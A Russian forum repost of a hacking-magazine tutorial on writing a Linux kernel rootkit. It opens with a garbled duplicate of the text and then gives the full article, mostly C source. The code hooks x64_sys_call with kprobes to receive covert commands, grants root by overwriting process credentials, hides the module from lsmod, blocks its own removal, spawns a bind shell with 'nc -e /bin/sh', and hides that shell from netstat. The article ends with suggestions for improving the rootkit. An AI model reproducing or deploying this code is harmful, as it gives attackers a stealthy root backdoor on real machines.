stihl не предоставил(а) никакой дополнительной информации.
Руткиты для Linux известны уже довольно давно, они отличаются высокой изощренностью архитектуры, способны эффективно перехватывать системные вызовы и маскировать свое присутствие в системе. Сегодня мы попытаемся написать собственный Linux-руткит, чтобы на его примере изучить ключевые механизмы работы таких вредоносных программ.
Недавно я наткнулся на новость, опубликованную в журнале «Хакер», где говорилось, что обнаружен новый Linux-руткит Pumakit. С ядром ОС Linux я никогда ранее не сталкивался, и идея разобраться в нем буквально поглотила меня. В статье я попытаюсь описать особенности, которые мне удалось выявить при написании собственного руткита под современные ядра Linux версий 5.x и 6.x (x86_64).
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Однако с недавнего времени этот метод больше не работает, поскольку сообщество Linux-разработчиков Для просмотра ссылки Войдиили Зарегистрируйся, при котором упомянутая таблица не используется:
Для просмотра ссылки Войдиили Зарегистрируйся
Синтаксис механизма отладки довольно простой:
Кстати, посмотреть, экспортирован ядром символ или нет, можно, прочитав файл kallsyms:
Все дело в том, что x64_sys_call участвует при вызове любого «сискола». Это некая обертка над каждым системным вызовом, подключающая макросы, в качестве которых реализованы системные вызовы.
Важно отметить, что x64_sys_call также экспортирована ядром.
Для просмотра ссылки Войдиили Зарегистрируйся
Отлично, теперь осталось использовать это для организации общения с пользователем. Присмотримся к команде echo.
Для просмотра ссылки Войдиили Зарегистрируйся
Echo использует в своей работе write — как раз то, что нам и нужно. Подытожив сказанное, напишем обработчик команд пользователя:
Функция, выполняемая при загрузке модуля
Здесь нам не нужно использовать copy_from_user, поскольку информация уже находится в режиме ядра.
Для просмотра ссылки Войдиили Зарегистрируйся
Поскольку мы находимся в режиме ядра, то особых проблем с повышением привилегий не имеем. Достаточно просто заменить эту структурку своей, и вуаля!
Чтобы избежать конфликта, при разработке ядерных модулей следует описывать все свои функции и глобальные переменные с приставкой static. Это необходимо, поскольку ядро экспортирует все символы в глобальную область видимости и пользователь может вызвать своим неаккуратным поведением конфликт имен.
Что касается самоудаления из списка загруженных модулей — дело нескольких строчек кода. Наш руткит представляет собой kernel object file, который также представлен своей структурой в памяти ядра. Мы просто удаляем себя из связного списка загруженных модулей:
Важно отметить, что в других реализациях руткитов используется функция list_del, удаляющая элемент из списка, однако с недавнего времени в нее добавили проверку на list corruption, поэтому мы осуществляем unlink нашего модуля вручную.
При удалении модуля из списка система проверяет это поле, и если оно оказывается положительным, то модуль из ядра не удаляется. По умолчанию значение равно 1, но мы можем изменить его:
Для просмотра ссылки Войдиили Зарегистрируйся
В TCPv4 для этих целей используется функция inet_csk_get_port(struct *sock, int port), которая возвращает 0, если указанный port свободен.
Напишем функцию, которая ищет свободный порт в системе.
Свободный порт мы определять научились, остается повесить на него шелл:
Вызов функции call_usermodehelper совместно с использованием механизма kprobes существенно влияет на простой ядра, поскольку в первом случае ядро должно выполнить дорогостоящие операции по созданию и инициализации пользовательского процесса, а во втором блокируются прерывания на процессоре, чтобы обеспечить целостность перехвата функций.
Для полноты картины я приведу также код, реализующий шелл по запросу пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
Обрати внимание на начало функции:
Для просмотра ссылки Войдиили Зарегистрируйся
Подводя итог статьи, хочу отметить, что ядро — опенсорсный проект, поэтому его изучение приносит лишь удовольствие, а наличие посвященных этой теме основательных трудов великих авторов позволяет исследователям уверенно «идти на свет»
xakep.ru/2025/03/20/linux-rootkit
Недавно я наткнулся на новость, опубликованную в журнале «Хакер», где говорилось, что обнаружен новый Linux-руткит Pumakit. С ядром ОС Linux я никогда ранее не сталкивался, и идея разобраться в нем буквально поглотила меня. В статье я попытаюсь описать особенности, которые мне удалось выявить при написании собственного руткита под современные ядра Linux версий 5.x и 6.x (x86_64).
Патч, мешающий жить
Когда я исследовал руткиты для Linux, то неоднократно посещал GitHub в поисках подобных программ, чтобы примерно понимать их структуру и функциональные возможности. И вот что мне бросалось в глаза: практически во всех реализациях руткитов используется метод перехвата syscall’ов путем перезаписи таблицы системных вызовов sys_call_table.Для просмотра ссылки Войди
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Однако с недавнего времени этот метод больше не работает, поскольку сообщество Linux-разработчиков Для просмотра ссылки Войди
The sys_call_table is no longer used for system calls, but kernel/trace/trace_syscalls.c still wants to know the system call address.
Kprobes всему голова
Ядро Linux напичкано не только всякими жизнетворящими вещами, оно также имеет в своем арсенале механизмы отладки, которые поддерживаются из ядра в ядро. С версии 2.6.9 в Linux kernel появился kprobes. Kprobes — это средство динамической отладки ядра, позволяющее ставить breakpoints на доступные для записи участки памяти и самостоятельно обрабатывать их.Для просмотра ссылки Войди
Синтаксис механизма отладки довольно простой:
Код:
// Структура kprobe описана в файле include/linux/kprobes.h
static struct kprobe un = {
// Место, куда мы будем ставить бряк (экспортированный ядром символ)
.symbol_name = "kernel_clone",
// Обработчик бряка
.pre_handler = intercept,
};
static int __init init(void) {
// Регистрируем «пробу»
register_kprobe(&un);
...
}
static void __exit bye(void) {
// Удаляем «пробу»
unregister_kprobe(&un);
...
}
cat /proc/kallsyms | grep "имя символа"
Перехватываем x64_sys_call
Популярный руткит diamorphine для общения с пользователем использует перехваченный syscall — kill. Однако для этого он ставит хук на sys_call_table, что уже неактуально. Как же тогда отслеживать системные вызовы? Ответ прост: перехват x64_sys_call.Все дело в том, что x64_sys_call участвует при вызове любого «сискола». Это некая обертка над каждым системным вызовом, подключающая макросы, в качестве которых реализованы системные вызовы.
Код:
// regs — аргументы системного вызова
// nr — номер системного вызова
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
switch (nr) {
// Здесь находятся системные вызовы в качестве макросов вида SYSCALL_DEFINEX(name, args...),
// где X — количество аргументов в syscall’e
#include <asm/syscalls_64.h>
default: return __x64_sys_ni_syscall(regs);
}
};
Для просмотра ссылки Войди
Отлично, теперь осталось использовать это для организации общения с пользователем. Присмотримся к команде echo.
Для просмотра ссылки Войди
Echo использует в своей работе write — как раз то, что нам и нужно. Подытожив сказанное, напишем обработчик команд пользователя:
Код:
// Идентификатор команды, которую будет отлавливать обработчик команд
#define ROOT "wanna_root"
// Наша проба
static struct kprobe un = {
.symbol_name = "x64_sys_call",
// Обработчик
.pre_handler = intercept,
};
static int intercept(struct kprobe *p, struct pt_regs *regs) {
// Проверяем номер системного вызова, передаваемый в x64_sys_call
if (regs->si == __NR_write){
// Сохраняем параметры, передаваемые вместе с write
struct pt_regs *pRegs = (struct pt_regs*)regs->di;
// Если текст, переданный в echo, совпадает с именем команды, то обрабатываем ее
if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {
...
Функция, выполняемая при загрузке модуля
Код:
static int __init init(void) {
...
int err;
err = register_kprobe(&un);
if (err < 0) {
pr_err("Failed to register kprobe, error: %d\n", err);
return err;
}
...
}
Повышаем привилегии и удаляем себя из списка загруженных модулей
Все системные вызовы осуществляются в контексте процесса, то есть мы можем получить доступ к памяти, окружению процесса в момент выполнения syscall’a. Каждый процесс олицетворяется в ядре структурой struct task_struct, которая имеет довольно внушительный размер. Внутри этой структуры есть поле, отвечающее за привилегии процесса, к которому мы можем обратиться.Для просмотра ссылки Войди
Поскольку мы находимся в режиме ядра, то особых проблем с повышением привилегий не имеем. Достаточно просто заменить эту структурку своей, и вуаля!
Код:
static int root_func(void){
struct cred *newcreds;
// Инициализация структуры
newcreds = prepare_creds();
if (newcreds == NULL){
pr_alert("can't prepare creds\n");
return 1;
}
// Выдаем себе рут
newcreds->uid.val = newcreds->gid.val = 0;
// euid и egid — «эффективные» привилегии, то есть привилегии запущенного процесса
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
// Вносим свои изменения
commit_creds(newcreds);
return 0;
}
Чтобы избежать конфликта, при разработке ядерных модулей следует описывать все свои функции и глобальные переменные с приставкой static. Это необходимо, поскольку ядро экспортирует все символы в глобальную область видимости и пользователь может вызвать своим неаккуратным поведением конфликт имен.
Что касается самоудаления из списка загруженных модулей — дело нескольких строчек кода. Наш руткит представляет собой kernel object file, который также представлен своей структурой в памяти ядра. Мы просто удаляем себя из связного списка загруженных модулей:
Код:
// Прячемся от команды lsmod — команды, выводящей все загруженные в память модули
static inline void hide_func(void){
// THIS_MODULE — глобальный макрос, позволяющий обратиться к структуре своего модуля
// Поле list — связный список загруженных в память ядра модулей
module_previous = THIS_MODULE->list.prev;
// unlink
module_previous->next = THIS_MODULE->list.next;
hidden=1;
}
// Возвращаемся в строй
static inline void show_func(void){
// Нужно, чтобы не словить segfault
if (module_previous !=NULL && hidden==1){
module_previous->next = &THIS_MODULE->list;
hidden=0;
}
}
Увеличиваем счетчик ссылок на модуль
В структуре нашего модуля (структура описана в файле /linux/module.h) есть волшебное поле refcnt, которое «отражает популярность» нашего модуля. Оно показывает, сколько компонентов системы использует этот модуль в данный момент.При удалении модуля из списка система проверяет это поле, и если оно оказывается положительным, то модуль из ядра не удаляется. По умолчанию значение равно 1, но мы можем изменить его:
Код:
static inline void no_rm_func(void){
atomic_t *pRefcnt = &THIS_MODULE->refcnt;
// В ядре Linux для атомарных данных предусмотрен свой интерфейс
atomic_set(pRefcnt, 1337);
}
static inline void yes_rm_func(void){
atomic_t *pRefcnt = &THIS_MODULE->refcnt;
// Возвращаем в исходное состояние
atomic_set(pRefcnt, 1);
}
Реализуем бэкдор и прячемся от netstat
Бэкдор
Попробуем повесить шелл на порт сразу же при загрузке руткита в ядро. Для этого нам нужно научиться находить свободный порт в системе. Заглянем в ядро и посмотрим описание протокола TCPv4.Для просмотра ссылки Войди
В TCPv4 для этих целей используется функция inet_csk_get_port(struct *sock, int port), которая возвращает 0, если указанный port свободен.
Напишем функцию, которая ищет свободный порт в системе.
Код:
static int getFreePort(void){
// Создаем временный сокет, чтобы найти свободный порт
sock_create_kern(&init_net, PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock_tmp);
// Получаем инициализированную структуру sock
sk = sock_tmp->sk;
int candidate = 1024;
int max_port = 65536;
for (int i = candidate; i < max_port; i++) {
// Если порт свободен...
if (!inet_csk_get_port(sk, i) ) {
candidate = i;
// ...освобождаем временный сокет, необходимый для определения свободного порта
sock_release(sock_tmp);
sk = NULL;
sock_tmp = NULL;
pr_info("candidate: %d\n", candidate);
return candidate;
}
}
pr_info("BAD: %d\n", candidate);
return -1;
}
Код:
// candidate — порт, на который вешается шелл
static void run_shell_nodelay(int candidate){
char tmp[100];
// Вешаем шелл на порт
snprintf(tmp, sizeof(tmp), "nc -e /bin/sh -p %d -l", candidate);
argv[2] = tmp;
// Директория, в которой будет осуществляться поиск необходимых бинарников
static char *envp[] = {"PATH=/bin:/sbin",NULL};
// call_usermodehelper запускает процесс в пространстве пользователя
// Флаг UMH_WAIT_EXEC заставляет ядро только ждать выполнения команды, не более
if (call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC))
pr_alert("umodehlpr returned error\n");
}
Вызов функции call_usermodehelper совместно с использованием механизма kprobes существенно влияет на простой ядра, поскольку в первом случае ядро должно выполнить дорогостоящие операции по созданию и инициализации пользовательского процесса, а во втором блокируются прерывания на процессоре, чтобы обеспечить целостность перехвата функций.
Для полноты картины я приведу также код, реализующий шелл по запросу пользователя.
Код:
static int shll_func(const char *from_user_port){
char buf[10] = {'\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00'};
char* endptr = "\x00";
// Парсим порт, который нам передал пользователь
strncpy(buf, from_user_port + 11 , 5);
port = simple_strtoul(buf, &endptr , 10);
pr_info("port is: %lu\n",port);
if (port < 1024 || port > 65536)
return -1;
// Ставим run_shell_delay в глобальную очередь ядра schedule_work(&wrk); для отложенного выполнения
INIT_WORK(&wrk, run_shell_delay);
return 0;
}
Netstat
Netstat в своей сущности представляет команду, дергающую каждый раз функцию tcp4_seq_show(), которая выводит на экран информацию о существующих соединениях.Для просмотра ссылки Войди
Обрати внимание на начало функции:
Код:
// Сокет, с которого будет срисована информация
struct sock *sk = v;
seq_setwidth(seq, TMPSZ - 1);
// Если сокет будет иметь значение SEQ_START_TOKEN, то вместо него на экран будет выведена начальная строка
if (v == SEQ_START_TOKEN) {
seq_puts(seq, " sl local_address rem_address st tx_queue "
"rx_queue tr tm->when retrnsmt uid timeout "
"inode");
goto out;
}
Попробуем воспользоваться этим для маскировки своего шелла:
static int tcp_hid_func(struct kprobe *p, struct pt_regs *regs){
// Если запись из netstat не является заголовком, выводимым командой
if (regs->si != SEQ_START_TOKEN) {
// Получаем сокет, информация о котором должна вывестись на экран
struct sock *sk = (struct sock *)regs->si;
// Прячем необходимое соединение
if (sk && sk->sk_num == hid_port) {
// Здесь грязный хак... Говорим, что это заголовок команды netstat :)
regs->si = (unsigned long)SEQ_START_TOKEN;
}
}
return 0;
}
Для просмотра ссылки Войди
Как еще улучшить руткит?
На самом деле есть еще куча моментов, которые можно улучшить. К примеру, руткит написан под x86_64, функция getFreePort не гарантирует, что найденный свободный порт будет свободен в момент «вешания» на него шелла, единовременно может быть замаскирован только один порт, а команда nc имеет опцию -e не во всех дистрибутивах, из‑за чего придется качать ncat и допиливать код. В общем, все в твоих руках.Подводя итог статьи, хочу отметить, что ядро — опенсорсный проект, поэтому его изучение приносит лишь удовольствие, а наличие посвященных этой теме основательных трудов великих авторов позволяет исследователям уверенно «идти на свет»
xakep.ru/2025/03/20/linux-rootkit